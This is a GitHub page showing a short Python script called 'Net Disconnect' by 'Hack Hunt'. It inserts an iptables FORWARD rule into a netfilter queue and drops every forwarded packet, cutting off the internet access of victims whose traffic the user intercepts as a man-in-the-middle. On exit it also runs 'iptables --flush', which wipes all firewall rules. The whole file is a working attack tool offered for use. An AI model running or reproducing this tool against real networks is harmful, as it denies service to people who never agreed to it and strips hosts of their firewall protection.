-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnet_disconnect.py
82 lines (61 loc) · 2.39 KB
/
net_disconnect.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#! usr/bin/env python
import netfilterqueue
import argparse
import subprocess
import sys
import os
import random
def process_packet(packet):
packet.drop()
def run_queue(queue_number):
queue = netfilterqueue.NetfilterQueue()
try:
print("[+] Internet connection Stopped...")
print("[+] Press Ctrl + C to start the internet again.")
queue.bind(queue_number, process_packet)
except OSError:
print("[-] Error! Please try to run program again with different queue number")
sys.exit()
queue.run()
def get_arguments():
parser = argparse.ArgumentParser(prog="Net Disconnect",
usage="%(prog)s [options]\n\t[-q | --queue-num] value",
formatter_class=argparse.RawDescriptionHelpFormatter,
description=""">>> | Net Disconnect v1.0 by Hack Hunt | <<<
------------------------------------""",
epilog="**Note - You need to be the Man-in-the-middle (MITM).")
parser._optionals.title = "Optional Arguments"
parser.add_argument("-q", "--queue-num",
dest="queue",
metavar="",
help="Specify a queue number for managing IP Tables.")
args = parser.parse_args()
return check_arguments(args.queue)
def check_arguments(queue):
if queue is None:
print("[+] Generating a random queue number...")
queue = random.randint(0, 100)
else:
try:
queue = int(queue)
except ValueError:
print("[-] Enter a correct queue number.")
sys.exit()
return queue
def main():
try:
queue_number = get_arguments()
DEVNULL = open(os.devnull, 'wb')
print("[+] Managing iptables rules for queue {0} ...".format(queue_number))
subprocess.call(["iptables -I FORWARD -j NFQUEUE --queue-num", str(queue_number)],
shell=True,
stderr=DEVNULL, stdout=DEVNULL, stdin=DEVNULL)
print("\n[+] Initializing Net Disconnect v1.0\n")
run_queue(queue_number)
except KeyboardInterrupt:
print("\n[+] Fixing iptables")
subprocess.call("iptables --flush", shell=True,
stdin=DEVNULL, stdout=DEVNULL, stderr=DEVNULL)
print("[+] Exiting...")
sys.exit()
main()